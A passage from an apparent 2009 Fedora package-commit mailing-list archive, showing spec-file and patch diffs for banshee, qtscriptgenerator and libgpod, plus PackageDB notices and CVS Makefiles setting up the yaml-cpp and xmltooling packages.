+# Building with nunit installed causes banshee to require it at runtime
+#BuildRequires: mono-nunit-devel
 
 #BuildRequires: monotorrent-dbus-devel
 %if %{?fedora} >= 12
@@ -124,13 +115,11 @@ developing applications that use %{name}
 
 
 %prep
-%setup -q -n %{name}-%{gitdate}
-%patch0 -p1 -b .noconf
+%setup -q -n %{name}-1-%{version}
 cp -p %{SOURCE1} .
 
 %build
 export MONO_SHARED_DIR=%mono_shared
-./autogen.sh
 %configure  --disable-docs --enable-mtp --enable-ipod --enable-podcast \
 %ifnarch %ix86 x86_64 sparc
             --disable-boo \
@@ -183,9 +172,9 @@ fi
 
 %files -f %{name}-1.lang
 %defattr(-,root,root,-)
-# ChangeLog not in snapshot
-%doc COPYING AUTHORS README README.Fedora NEWS
+%doc COPYING AUTHORS ChangeLog README README.Fedora NEWS
 %{_bindir}/banshee-1
+%{_bindir}/muinshee
 %exclude %{_libdir}/banshee-1/MusicBrainz.dll*
 %{_libdir}/banshee-1
 %{_datadir}/applications/*.desktop
@@ -213,6 +202,9 @@ fi
 
 
 %changelog
+* Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 1.5.1-1
+- Update to final 1.5.1 release
+
 * Thu Sep 17 2009 Michel Salim <salimma at fedoraproject.org> - 1.5.1-0.3.git20090917%{?dist}
 - Update to latest snapshot
 - Drop clutter10 patch (fixed upstream)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/banshee/devel/sources,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- sources	17 Sep 2009 16:28:45 -0000	1.28
+++ sources	19 Oct 2009 15:58:53 -0000	1.29
@@ -1 +1 @@
-632954b2869b4713466128e219856979  banshee-20090917.tar.bz2
+b24051482dca8b87932db2a1e27ff43f  banshee-1-1.5.1.tar.bz2


--- import.log DELETED ---



From salimma at fedoraproject.org  Mon Oct 19 15:58:52 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Mon, 19 Oct 2009 15:58:52 +0000 (UTC)
Subject: rpms/banshee/F-11 .cvsignore, 1.25, 1.26 banshee.spec, 1.76,
	1.77 sources, 1.25, 1.26 banshee-1.4.3-coverart_query.patch, 1.1,
	NONE banshee-1.4.3-podcast_download.patch, 1.1, NONE import.log,
	1.4, NONE
Message-ID: <20091019155852.E381411C00DC@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/banshee/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12975/F-11

Modified Files:
	.cvsignore banshee.spec sources 
Removed Files:
	banshee-1.4.3-coverart_query.patch 
	banshee-1.4.3-podcast_download.patch import.log 
Log Message:
* Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 1.5.1-1
- Update to final 1.5.1 release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/banshee/F-11/.cvsignore,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- .cvsignore	5 Mar 2009 11:03:57 -0000	1.25
+++ .cvsignore	19 Oct 2009 15:58:52 -0000	1.26
@@ -1 +1 @@
-banshee-1-1.4.3.tar.bz2
+banshee-1-1.5.1.tar.bz2


Index: banshee.spec
===================================================================
RCS file: /cvs/pkgs/rpms/banshee/F-11/banshee.spec,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- banshee.spec	2 Jun 2009 16:01:12 -0000	1.76
+++ banshee.spec	19 Oct 2009 15:58:52 -0000	1.77
@@ -1,16 +1,16 @@
-%define mono_shared %{_builddir}/%{?buildsubdir}
+%global mono_shared %{_builddir}/%{?buildsubdir}
+%global mainver 1.5.1
 
 Name:    banshee
-Version: 1.4.3
-Release: 4%{?dist}
+Version: %{mainver}%{?patchver}
+Release: 1%{?dist}
 Summary: Easily import, manage, and play selections from your music collection
+
 Group:   Applications/Multimedia
 License: MIT
 URL:     http://banshee-project.org/
-Source0: http://banshee-project.org/files/banshee/banshee-1-%{version}.tar.bz2
+Source0: http://download.banshee-project.org/banshee/stable/%{mainver}/banshee-1-%{version}.tar.bz2
 Source1: README.Fedora
-Patch0:  banshee-1.4.3-podcast_download.patch
-Patch1:  banshee-1.4.3-coverart_query.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # We only have mono on these arches:
@@ -18,7 +18,7 @@ ExclusiveArch: %ix86 x86_64 ia64 armv4l 
 
 # Versioned dependencies
 BuildRequires: libmusicbrainz-devel >= 2.1.1
-BuildRequires: mono-devel >= 1.1.10
+BuildRequires: mono-devel
 BuildRequires: mono-zeroconf-devel >= 0.7.2
 BuildRequires: hal-devel >= 0.5.6
 BuildRequires: sqlite-devel >= 3.3
@@ -35,7 +35,7 @@ BuildRequires: gnome-sharp-devel notify-
 BuildRequires: mono-data mono-data-sqlite mono-addins-devel
 
 # Gnome/Glib
-BuildRequires: gnome-desktop-devel nautilus-cd-burner-devel ndesk-dbus-glib-devel
+BuildRequires: gnome-desktop-devel ndesk-dbus-glib-devel
 
 # X
 BuildRequires: libXxf86vm-devel
@@ -43,22 +43,26 @@ BuildRequires: libXxf86vm-devel
 # Misc
 BuildRequires: gettext-devel intltool perl(XML::Parser)
 
-# No boo-devel for ppc but we owe it to the users to keep banshee up to date
+# No boo-devel for ppc* but we owe it to the users to keep banshee up to date
 %ifarch  %ix86 x86_64 sparc
 BuildRequires: boo-devel
 %endif
 
-# Rawhide
+# monotorrent-dbus not in Fedora yet
+
 %if 0%{?fedora} >= 11
-#BuildRequires: clutter-devel
-BuildRequires: mono-nunit-devel
-%endif
+# Building with nunit installed causes banshee to require it at runtime
+#BuildRequires: mono-nunit-devel
 
-BuildRequires: desktop-file-utils
+#BuildRequires: monotorrent-dbus-devel
+%if %{?fedora} >= 12
+# needs clutter >= 0.9.3; F-11 has 0.8.8
+BuildRequires: clutter-devel
+%endif # F-12 and up
 
-# bug 484996: until f-spot stops "providing" mono-addins, we have
-# to explicitly depend on it
-Requires:      mono-addins
+%endif # F-11 and up
+
+BuildRequires: desktop-file-utils
 
 Requires:      podsleuth
 Requires:      libmtp
@@ -113,10 +117,6 @@ developing applications that use %{name}
 %prep
 %setup -q -n %{name}-1-%{version}
 cp -p %{SOURCE1} .
-# This only improves error handling for downloads
-%patch0 -p0 -b .patch
-# This fixes the 100% CPU usage bug while fetching cover art
-%patch1 -p0 -b .patch
 
 %build
 export MONO_SHARED_DIR=%mono_shared
@@ -174,6 +174,7 @@ fi
 %defattr(-,root,root,-)
 %doc COPYING AUTHORS ChangeLog README README.Fedora NEWS
 %{_bindir}/banshee-1
+%{_bindir}/muinshee
 %exclude %{_libdir}/banshee-1/MusicBrainz.dll*
 %{_libdir}/banshee-1
 %{_datadir}/applications/*.desktop
@@ -201,6 +202,9 @@ fi
 
 
 %changelog
+* Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 1.5.1-1
+- Update to final 1.5.1 release
+
 * Mon Jun 01 2009 Xavier Lamien <laxathom at fedoraproject.org> - 1.4.3-4
 - Build arch ppc64.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/banshee/F-11/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	5 Mar 2009 11:03:58 -0000	1.25
+++ sources	19 Oct 2009 15:58:52 -0000	1.26
@@ -1 +1 @@
-880dee65d2bfe62be711a8edfe4d737f  banshee-1-1.4.3.tar.bz2
+b24051482dca8b87932db2a1e27ff43f  banshee-1-1.5.1.tar.bz2


--- banshee-1.4.3-coverart_query.patch DELETED ---


--- banshee-1.4.3-podcast_download.patch DELETED ---


--- import.log DELETED ---



From rdieter at fedoraproject.org  Mon Oct 19 16:00:43 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 19 Oct 2009 16:00:43 +0000 (UTC)
Subject: rpms/qtscriptgenerator/devel qtscriptgenerator-kde_phonon.patch,
	NONE, 
	1.1 qtscriptgenerator-src-0.1.0-qmake_target.path.patch, NONE,
	1.1 qtscriptgenerator.spec, 1.4, 1.5
Message-ID: <20091019160043.5743D11C029A@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qtscriptgenerator/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13712

Modified Files:
	qtscriptgenerator.spec 
Added Files:
	qtscriptgenerator-kde_phonon.patch 
	qtscriptgenerator-src-0.1.0-qmake_target.path.patch 
Log Message:
* Mon Oct 19 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.1.0-9
- fix build (for qt-4.6.0/phonon-isms)


qtscriptgenerator-kde_phonon.patch:
 qtscript_masterinclude.h |   46 +++++++++++++++++++++++++++++++++++-----------
 1 file changed, 35 insertions(+), 11 deletions(-)

--- NEW FILE qtscriptgenerator-kde_phonon.patch ---
--- b/generator/qtscript_masterinclude.h	2009-03-21 20:37:30.719523909 -0400
+++ a/generator/qtscript_masterinclude.h	2009-03-21 21:00:25.108149339 -0400
@@ -31,17 +31,41 @@
 
 #include <QtUiTools/QtUiTools>
 
-#ifndef QT_NO_XMLPATTERNS
-#  include <QtXmlPatterns/QtXmlPatterns>
-#endif
-
-#ifndef QT_NO_WEBKIT
-#  include <QtWebKit/QtWebKit>
-#endif
-
-#ifndef QT_NO_PHONON
-#  include <phonon/phonon>
-#endif
+#include <QtXmlPatterns/QtXmlPatterns>                                                              
+
+#include <QtWebKit/QtWebKit>                                                                        
+                                                                                                    
+#include "phonon/abstractaudiooutput.h"                                                             
+#include "phonon/abstractmediastream.h"                                                             
+#include "phonon/abstractvideooutput.h"                                                             
+#include "phonon/addoninterface.h"                                                                  
+#include "phonon/audiooutput.h"                                                                     
+#include "phonon/audiooutputinterface.h"                                                            
+#include "phonon/backendcapabilities.h"                                                             
+#include "phonon/backendinterface.h"
+#include "phonon/effect.h"
+#include "phonon/effectinterface.h"
+#include "phonon/effectparameter.h"
+#include "phonon/effectwidget.h"
+#include "phonon/mediacontroller.h"
+#include "phonon/medianode.h"
+#include "phonon/mediaobject.h"
+#include "phonon/mediaobjectinterface.h"
+#include "phonon/mediasource.h"
+#include "phonon/objectdescription.h"
+#include "phonon/objectdescriptionmodel.h"
+#include "phonon/path.h"
+#include "phonon/phonondefs.h"
+#include "phonon/phononnamespace.h"
+#include "phonon/platformplugin.h"
+#include "phonon/seekslider.h"
+#include "phonon/streaminterface.h"
+#include "phonon/videoplayer.h"
+#include "phonon/videowidget.h"
+#include "phonon/videowidgetinterface.h"
+#include "phonon/volumefadereffect.h"
+#include "phonon/volumefaderinterface.h"
+#include "phonon/volumeslider.h"
 
 #include "../qtbindings/qtscript_core/qtscriptconcurrent.h"
 

qtscriptgenerator-src-0.1.0-qmake_target.path.patch:
 qtbindings/qtbindingsbase.pri |    1 +
 tools/qsexec/src/qsexec.pro   |    3 +++
 2 files changed, 4 insertions(+)

--- NEW FILE qtscriptgenerator-src-0.1.0-qmake_target.path.patch ---
diff -up qtscriptgenerator-src-0.1.0/qtbindings/qtbindingsbase.pri.qmake_target.path qtscriptgenerator-src-0.1.0/qtbindings/qtbindingsbase.pri
--- qtscriptgenerator-src-0.1.0/qtbindings/qtbindingsbase.pri.qmake_target.path	2009-07-07 12:02:29.981909473 -0500
+++ qtscriptgenerator-src-0.1.0/qtbindings/qtbindingsbase.pri	2009-07-07 12:11:18.928769486 -0500
@@ -6,3 +6,4 @@ QT += script
 CONFIG += debug_and_release
 GENERATEDCPP = $$PWD/../generated_cpp
 TARGET=$$qtLibraryTarget($$TARGET)
+target.path=$$[QT_INSTALL_PLUGINS]/script
diff -up qtscriptgenerator-src-0.1.0/tools/qsexec/src/qsexec.pro.qmake_target.path qtscriptgenerator-src-0.1.0/tools/qsexec/src/qsexec.pro
--- qtscriptgenerator-src-0.1.0/tools/qsexec/src/qsexec.pro.qmake_target.path	2009-02-20 05:42:24.000000000 -0600
+++ qtscriptgenerator-src-0.1.0/tools/qsexec/src/qsexec.pro	2009-07-07 12:06:42.141780908 -0500
@@ -9,3 +9,6 @@ win32:CONFIG+=console
 mac:CONFIG-=app_bundle
 
 SOURCES += main.cpp
+
+target.path=$$[QT_INSTALL_BINS]
+


Index: qtscriptgenerator.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qtscriptgenerator/devel/qtscriptgenerator.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- qtscriptgenerator.spec	27 Jul 2009 02:38:27 -0000	1.4
+++ qtscriptgenerator.spec	19 Oct 2009 16:00:43 -0000	1.5
@@ -1,7 +1,7 @@
 
 Name:		qtscriptgenerator
 Version:	0.1.0
-Release:	8%{?dist}
+Release:	9%{?dist}
 Summary: 	A tool to generate Qt bindings for Qt Script	
 
 Group:		System Environment/Libraries
@@ -12,6 +12,10 @@ BuildRoot:	%(mktemp -ud %{_tmppath}/%{na
 
 Patch1: qtscriptgenerator-0.1.0-gcc44.patch
 
+## upstreamable patches
+Patch50: qtscriptgenerator-src-0.1.0-qmake_target.path.patch
+Patch51: qtscriptgenerator-kde_phonon.patch
+
 ## upstream patches
 # http://code.google.com/p/qtscriptgenerator/issues/detail?id=27
 Patch100: qtscriptgenerator-sun_issue27.patch
@@ -44,6 +48,8 @@ from within Qt Script.
 %setup -q -n %{name}-src-%{version}
 
 %patch1 -p0 -b .gcc44
+%patch50 -p1 -b .qmake_target.path
+%patch51 -p1 -b .kde_phonon
 %patch100 -p4 -b .sun_issue27
 
 
@@ -103,6 +109,9 @@ rm -rf %{buildroot} 
 
 
 %changelog
+* Mon Oct 19 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.1.0-9
+- fix build (for qt-4.6.0/phonon-isms)
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.1.0-8
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From pkgdb at fedoraproject.org  Mon Oct 19 16:01:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:01:27 +0000
Subject: [pkgdb] yaml-cpp was added for guidograzioli
Message-ID: <20091019160127.965E110F850@bastion2.fedora.phx.redhat.com>

kevin has added Package yaml-cpp with summary A YAML parser and emitter for C++
kevin has approved Package yaml-cpp
kevin has added a Fedora devel branch for yaml-cpp with an owner of guidograzioli
kevin has approved yaml-cpp in Fedora devel
kevin has approved Package yaml-cpp
kevin has set commit to Approved for 107427 on yaml-cpp (Fedora devel)
kevin has set checkout to Approved for 107427 on yaml-cpp (Fedora devel)
kevin has set build to Approved for 107427 on yaml-cpp (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/yaml-cpp



From pkgdb at fedoraproject.org  Mon Oct 19 16:01:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:01:29 +0000
Subject: [pkgdb] yaml-cpp summary updated by kevin
Message-ID: <20091019160129.50D4A10F87F@bastion2.fedora.phx.redhat.com>

kevin set package yaml-cpp summary to A YAML parser and emitter for C++

To make changes to this package see:
  /pkgdb/packages/name/yaml-cpp



From pkgdb at fedoraproject.org  Mon Oct 19 16:01:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:01:29 +0000
Subject: [pkgdb] yaml-cpp (Fedora, 11) updated by kevin
Message-ID: <20091019160129.7FC9D10F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for yaml-cpp
kevin has set commit to Approved for 107427 on yaml-cpp (Fedora 12)
kevin has set checkout to Approved for 107427 on yaml-cpp (Fedora 12)
kevin has set build to Approved for 107427 on yaml-cpp (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/yaml-cpp



From pkgdb at fedoraproject.org  Mon Oct 19 16:01:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:01:29 +0000
Subject: [pkgdb] yaml-cpp (Fedora, 11) updated by kevin
Message-ID: <20091019160129.601CD10F892@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for yaml-cpp
kevin has set commit to Approved for 107427 on yaml-cpp (Fedora 11)
kevin has set checkout to Approved for 107427 on yaml-cpp (Fedora 11)
kevin has set build to Approved for 107427 on yaml-cpp (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/yaml-cpp



From kevin at fedoraproject.org  Mon Oct 19 16:01:52 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:01:52 +0000 (UTC)
Subject: rpms/yaml-cpp - New directory
Message-ID: <20091019160152.8ACE911C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/yaml-cpp
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsv14220/rpms/yaml-cpp

Log Message:
Directory /cvs/pkgs/rpms/yaml-cpp added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:01:53 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:01:53 +0000 (UTC)
Subject: rpms/yaml-cpp/devel - New directory
Message-ID: <20091019160153.71C0A11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/yaml-cpp/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsv14220/rpms/yaml-cpp/devel

Log Message:
Directory /cvs/pkgs/rpms/yaml-cpp/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:02:17 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:02:17 +0000 (UTC)
Subject: rpms/yaml-cpp Makefile,NONE,1.1
Message-ID: <20091019160217.95BA711C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/yaml-cpp
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsv14220/rpms/yaml-cpp

Added Files:
	Makefile 
Log Message:
Setup of module yaml-cpp


--- NEW FILE Makefile ---
# Top level Makefile for module yaml-cpp
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 19 16:02:18 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:02:18 +0000 (UTC)
Subject: rpms/yaml-cpp/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091019160218.8393811C029A@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/yaml-cpp/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsv14220/rpms/yaml-cpp/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module yaml-cpp


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: yaml-cpp
# $Id: Makefile,v 1.1 2009/10/19 16:02:18 kevin Exp $
NAME := yaml-cpp
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 19 16:02:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:02:33 +0000
Subject: [pkgdb] xmltooling was added for stevetraylen
Message-ID: <20091019160234.4500A10F86E@bastion2.fedora.phx.redhat.com>

kevin has added Package xmltooling with summary XML signing and encrytion library
kevin has approved Package xmltooling
kevin has added a Fedora devel branch for xmltooling with an owner of stevetraylen
kevin has approved xmltooling in Fedora devel
kevin has approved Package xmltooling
kevin has set commit to Approved for 107427 on xmltooling (Fedora devel)
kevin has set checkout to Approved for 107427 on xmltooling (Fedora devel)
kevin has set build to Approved for 107427 on xmltooling (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/xmltooling



From hadess at fedoraproject.org  Mon Oct 19 16:04:28 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon, 19 Oct 2009 16:04:28 +0000 (UTC)
Subject: rpms/libgpod/F-12 libgpod-utf16-parsing.patch, 1.2, 1.3 libgpod.spec,
	1.28, 1.29
Message-ID: <20091019160428.28D5311C00DC@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/libgpod/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15992

Modified Files:
	libgpod-utf16-parsing.patch libgpod.spec 
Log Message:
* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.7.2-5
- Fix UTF-16 string parsing patch again


libgpod-utf16-parsing.patch:
 b/src/itdb_itunesdb.c             |   72 ++++++++++++++++++++++----------------
 libgpod-0.7.2/src/itdb_itunesdb.c |    1 
 2 files changed, 43 insertions(+), 30 deletions(-)

Index: libgpod-utf16-parsing.patch
===================================================================
RCS file: /cvs/pkgs/rpms/libgpod/F-12/libgpod-utf16-parsing.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- libgpod-utf16-parsing.patch	19 Oct 2009 13:31:33 -0000	1.2
+++ libgpod-utf16-parsing.patch	19 Oct 2009 16:04:27 -0000	1.3
@@ -99,15 +99,13 @@ index c41e758..3f352e1 100644
        }
        break;
    case MHOD_ID_PODCASTURL:
-diff --git a/src/itdb_itunesdb.c b/src/itdb_itunesdb.c
-index fdbe898..7e411b5 100644
---- a/src/itdb_itunesdb.c
-+++ b/src/itdb_itunesdb.c
- -1427,6 +1427,7 @@ static MHODData get_mhod (FImport *fimp, glong mhod_seek, 
+--- libgpod-0.7.2/src/itdb_itunesdb.c.old	2009-10-19 16:53:13.000000000 +0100
++++ libgpod-0.7.2/src/itdb_itunesdb.c	2009-10-19 16:53:57.000000000 +0100
+@@ -1423,6 +1423,7 @@ static MHODData get_mhod (FImport *fimp,
    case MHOD_ID_SORT_TVSHOW:
        result.data.string = extract_mhod_string (cts, seek);
        if (result.data.string == NULL) {
-+         *ml = mhod_len;
-          return result;
++	  *ml = mhod_len;
+ 	  return result;
        }
        break;


Index: libgpod.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libgpod/F-12/libgpod.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- libgpod.spec	19 Oct 2009 13:31:33 -0000	1.28
+++ libgpod.spec	19 Oct 2009 16:04:27 -0000	1.29
@@ -3,7 +3,7 @@
 Summary: Library to access the contents of an iPod
 Name: libgpod
 Version: 0.7.2
-Release: 4%{?dist}
+Release: 5%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://www.gtkpod.org/libgpod.html
@@ -141,6 +141,9 @@ libgpod library.
 
 
 %changelog
+* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.7.2-5
+- Fix UTF-16 string parsing patch again
+
 * Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.7.2-4
 - Update UTF-16 string parsing patch
 



From kevin at fedoraproject.org  Mon Oct 19 16:05:05 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:05:05 +0000 (UTC)
Subject: rpms/xmltooling - New directory
Message-ID: <20091019160505.14CEF11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/xmltooling
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb16225/rpms/xmltooling

Log Message:
Directory /cvs/pkgs/rpms/xmltooling added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:05:05 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:05:05 +0000 (UTC)
Subject: rpms/xmltooling/devel - New directory
Message-ID: <20091019160505.342CF11C02A0@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/xmltooling/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb16225/rpms/xmltooling/devel

Log Message:
Directory /cvs/pkgs/rpms/xmltooling/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:05:11 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:05:11 +0000 (UTC)
Subject: rpms/xmltooling Makefile,NONE,1.1
Message-ID: <20091019160511.E6C0D11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/xmltooling
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb16225/rpms/xmltooling

Added Files:
	Makefile 
Log Message:
Setup of module xmltooling


--- NEW FILE Makefile ---
# Top level Makefile for module xmltooling
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 19 16:05:12 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:05:12 +0000 (UTC)
Subject: rpms/xmltooling/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091019160512.599F711C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/xmltooling/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb16225/rpms/xmltooling/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module xmltooling


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: xmltooling
# $Id: Makefile,v 1.1 2009/10/19 16:05:12 kevin Exp $
NAME := xmltooling
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 19 16:10:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:10:30 +0000
Subject: [pkgdb] dhcp: jpopelka has requested approveacls
Message-ID: <20091019161030.72D3A10F850@bastion2.fedora.phx.redhat.com>

jpopelka has requested the approveacls acl on dhcp (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/dhcp



From pkgdb at fedoraproject.org  Mon Oct 19 16:10:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:10:39 +0000
Subject: [pkgdb] dhcp: jpopelka has requested approveacls
Message-ID: <20091019161040.03B3C10F850@bastion2.fedora.phx.redhat.com>

jpopelka has requested the approveacls acl on dhcp (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/dhcp



From pkgdb at fedoraproject.org  Mon Oct 19 16:10:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:10:42 +0000
Subject: [pkgdb] dhcp: jpopelka has requested approveacls
Message-ID: <20091019161042.E299010F86E@bastion2.fedora.phx.redhat.com>

jpopelka has requested the approveacls acl on dhcp (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/dhcp



From pkgdb at fedoraproject.org  Mon Oct 19 16:10:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:10:48 +0000
Subject: [pkgdb] dhcp: jpopelka has requested approveacls
Message-ID: <20091019161048.571D510F85A@bastion2.fedora.phx.redhat.com>

jpopelka has requested the approveacls acl on dhcp (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/dhcp



From pkgdb at fedoraproject.org  Mon Oct 19 16:10:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:10:56 +0000
Subject: [pkgdb] xmltooling (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019161056.8815110F87F@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for xmltooling
kevin has set commit to Approved for 107427 on xmltooling (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on xmltooling (Fedora EPEL 4)
kevin has set build to Approved for 107427 on xmltooling (Fedora EPEL 4)
